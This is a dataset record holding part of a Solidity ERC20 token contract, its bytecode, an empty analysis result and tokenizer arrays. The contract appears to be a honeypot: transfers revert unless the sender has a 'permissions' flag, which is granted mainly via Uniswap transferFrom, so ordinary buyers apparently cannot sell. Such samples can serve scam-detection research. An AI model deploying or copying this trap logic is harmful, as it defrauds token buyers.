uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyMarketing returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyMarketing returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b41146103d7578063a457c2d71461045a578063a9059cbb146104c0578063dd62ed3e14610526576100cf565b8063313ce567146102f5578063395093511461031957806370a082311461037f576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db5780632681f7e4146102615780632d3e474a146102ab575b600080fd5b6100dc61059e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610640565b604051808215151515815260200191505060405180910390f35b6101c561070a565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b610269610839565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b3610863565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fd61088c565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b604051808215151515815260200191505060405180910390f35b6103c16004803603602081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a02565b6040518082815260200191505060405180910390f35b6103df610a4b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041f578082015181840152602081019050610404565b50505050905090810190601f16801561044c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aed565b604051808215151515815260200191505060405180910390f35b61050c600480360360408110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c66565b604051808215151515815260200191505060405180910390f35b6105886004803603604081101561053c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d79565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106365780601f1061060b57610100808354040283529160200191610636565b820191906000526020600020905b81548152906001019060200180831161061957829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610682610e00565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806115f06034913960400191505060405180910390fd5b6107006106f9610e00565b8484610e08565b6001905092915050565b6000600854905090565b6000610721848484610fff565b6107e28461072d610e00565b6107dd8560405180606001604052806028815260200161162460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610793610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b99092919063ffffffff16565b610e08565b6107ea610839565b73ffffffffffffffffffffffffffffffffffffffff16610808610e00565b73ffffffffffffffffffffffffffffffffffffffff16141561082e5761082d83611379565b5b600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e5610e00565b73ffffffffffffffffffffffffffffffffffffffff1614610951576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806115f06034913960400191505060405180910390fd5b6109f861095c610e00565b846109f3856004600061096d610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114fc90919063ffffffff16565b610e08565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae35780601f10610ab857610100808354040283529160200191610ae3565b820191906000526020600020905b815481529060010190602001808311610ac657829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2f610e00565b73ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806115f06034913960400191505060405180910390fd5b610c5c610ba6610e00565b84610c57856040518060600160405280602581526020016116956025913960046000610bd0610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b99092919063ffffffff16565b610e08565b6001905092915050565b600060026000610c74610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806115f06034913960400191505060405180910390fd5b610d23610d1c610e00565b8484610fff565b610d2b610863565b73ffffffffffffffffffffffffffffffffffffffff16610d49610e00565b73ffffffffffffffffffffffffffffffffffffffff161415610d6f57610d6e83611379565b5b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116716024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806115a86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061164c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561110b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806115856023913960400191505060405180910390fd5b611177816040518060600160405280602681526020016115ca60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b99092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120c81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114fc90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611366576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132b578082015181840152602081019050611310565b50505050905090810190601f1680156113585780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b9610e00565b73ffffffffffffffffffffffffffffffffffffffff16148061142f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611417610e00565b73ffffffffffffffffffffffffffffffffffffffff16145b6114a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f4572726f7200000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008082840190508381101561157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520646f206e6f742068617665207065726d697373696f6e7320666f7220746865206d61726b6574696e672077616c6c657445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209b5e7624087d740beb583fff5b1ef32acbab89366a82fb827768eb9081897c0e64736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 27814, 2546, 16703, 25746, 2629, 2546, 2094, 2549, 3540, 2094, 23352, 2620, 2497, 2683, 2050, 2683, 2546, 2620, 2581, 24594, 4215, 19317, 2050, 2581, 23499, 2629, 2094, 21084, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 12324, 1000, 1012, 1013, 6656, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 4769, 1012, 14017, 1000, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]